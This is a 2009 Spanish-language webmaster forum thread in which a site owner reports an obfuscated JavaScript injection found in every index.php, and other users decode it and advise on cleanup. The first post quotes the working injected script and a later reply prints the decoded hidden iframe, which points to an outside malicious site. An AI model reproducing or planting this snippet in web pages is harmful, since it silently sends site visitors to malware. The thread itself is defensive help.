Muy urgente y no es broma

totolia · #1 (**permalink**) 15/05/2009, 16:24

Pues algunos usuarios de mi web decian queponia que este servidor puede dañar el ordenador, despues al ir al ftp me encontrado esto en cada index.php

<script>var lwa="<";var elg="i";var fqqjq=" ";var ciplw="ufebm='waZLSyhB' tvtbx='Fwcn7bA0' krcxm='AH3GIdbg' twnko='BA25NRUb' src=";var pzkly="ame>";var kimdl="/tds/go.php?sid=3&lucky";var vtnqi="?wDjQqTk ";var wzn="f";var pkc="r";var ymq="a";var rqdre="wjjyi='P9wpLXPG' dxcip='ajZFAHUy' dnria='bdY3F5Nu' egafm='fMswiX72' gyicy='i4DpByrB' cnbfx='q60biqDw' ";var azz="m";var ukp="e";var mntra="width=671 ";var oqnaf="http://llforyourpets.net";var dexlv="height=315 ";var ybnmr="style='display:none'";var ybooc=oqnaf+kimdl;var uydmn="></ifr";document.write(lwa+elg+wzn+pkc+ymq+azz+ukp+fq qjq+ciplw+ybooc+vtnqi+rqdre+mntra+dexlv+ybnmr+uydm n+pzkly);</script>

Que es
ayuda pr favor

grangonzo · #2 (**permalink**) 15/05/2009, 16:30

Parece un codigo que te han inyectado.

Fijate la extension del archivo en que encontraste esto y luego revisa todos los archivos con la misma extension, ya que generalmente asi se instalan esos codigos.

Y si una vez que lo quitas de todos los archivos te vuelve a aparecer, estamos en problemas...

kseso? · #3 (**permalink**) 15/05/2009, 16:33

Hola Totolia
Cuando en las normas se pide poner títulos descriptivos y escapar de los "ayuda", "muy urgente" es por algún motivo.

Tiene toda la pinta de ser un código inyectado. ¿Vírus? por el aviso podría ser. Hay servidores gratuitos que también colocan su código en tu página.

Te tocará limpiar todo tus códigos y descubrir cuando te lo inyectan, si es en local al hacer tus páginas o si lo tienes en tu servidor.

Quizás te puedan brindar mejor ayuda en el foro de "virus".

totolia · #4 (**permalink**) 15/05/2009, 16:38

Joder pues estoy cagao, es una web de pago, no es un server gratis, podria ser a causa de un keylogger

totolia · #5 (**permalink**) 15/05/2009, 16:39

Si cambio la contraseÑa desde otra pc del ftp, etc, y lo limpio ya no pasaria verdad

totolia · #6 (**permalink**) 15/05/2009, 16:54

creo que ya lo e solucionado, como estoy seguro de saberlo, e rebisado las pganias e cambiado la ftp, cp, etc. y loe limpiado, hay alguna manera de estar mas seguro. Lo he hecho desde el ipod asi que supongo k ya estara todo bien

grangonzo · #7 (**permalink**) 15/05/2009, 17:39

Cita:

Iniciado por totolia

creo que ya lo e solucionado, como estoy seguro de saberlo, e rebisado las pganias e cambiado la ftp, cp, etc. y loe limpiado, hay alguna manera de estar mas seguro. Lo he hecho desde el ipod asi que supongo k ya estara todo bien

Generalmente los exploits o inyecciones no se solucionan tan facilmente.

Pero ojala que no haya sido eso y se te solucione el problema.
Asegurate de limpiar "Todos" los archivos de tu web, asegurate de sacarlo por completo.

Saludos...

zaetoner · #8 (**permalink**) 15/05/2009, 17:48

inyecciones. eso pasa de manera mas comun de lo que crees y en realidad se solucionan muy facil, solo ponte en contacto con tu proveedor de host y ellos entenderan el problema rapido
ya que esta en juego su reputacion, lo que haran sera cambiar tu cuenta a otro servidor (talvez con otra ip) y limpiar las cuentas. ojala y que ya lo ayas solucionado suerte!

jcxnet · #9 (**permalink**) 15/05/2009, 18:30

lo que hace el código ese es escribir lo siguiente:

Código HTML:

<iframe ufebm='waZLSyhB' tvtbx='Fwcn7bA0' krcxm='AH3GIdbg' twnko='BA25NRUb' src="http://llforyourpets.net/tds/go.php?sid=3&lucky?wDjQqTk wjjyi='P9wpLXPG' dxcip='ajZFAHUy' dnria='bdY3F5Nu' egafm='fMswiX72' gyicy='i4DpByrB' cnbfx='q60biqDw' width=671 height=315 style='display:none'></iframe>

lanza un iframe oculto que apunta hacia una web infectada.

PatomaS · #10 (**permalink**) 15/05/2009, 21:46

Hola

El que hayas solucionado el problema por ahora está muy bien, sin embargo, hay tres elementos que considerar aquí.

1. Tu seguridad es muy baja.
2. La seguridad de tu servidor web (de pago) es muy baja (esto es muy grave)
3. El título de este tema es totalmente inadecuado.

Así que deberás ponerte lo antes posible a remediar los problemas.

EL 1 ya lo empezaste a hacer, pero deberías también considerar opciones como modificar los permisos de acceso y escritura a los archivos, al menos para empezar. El segundo punto, debes comunicarte con tu servidor y decirles lo que ha pasado para que remedien sus fallos.

Felicidad

adminjilguero · #11 (**permalink**) 18/05/2009, 20:20

Lo suyo es ver la fecha de modificación de los ficheros, con esa informacion ir a los logs ftp y logs web y ver si la inyección es:

Por que tienen la clave de tu ftp y suben de nuevo el fichero "infectado"
O que a través de alguna vulnerabilidad de tu código o de tu servidor acceden al fichero y te lo modifican.

Suerte amigo.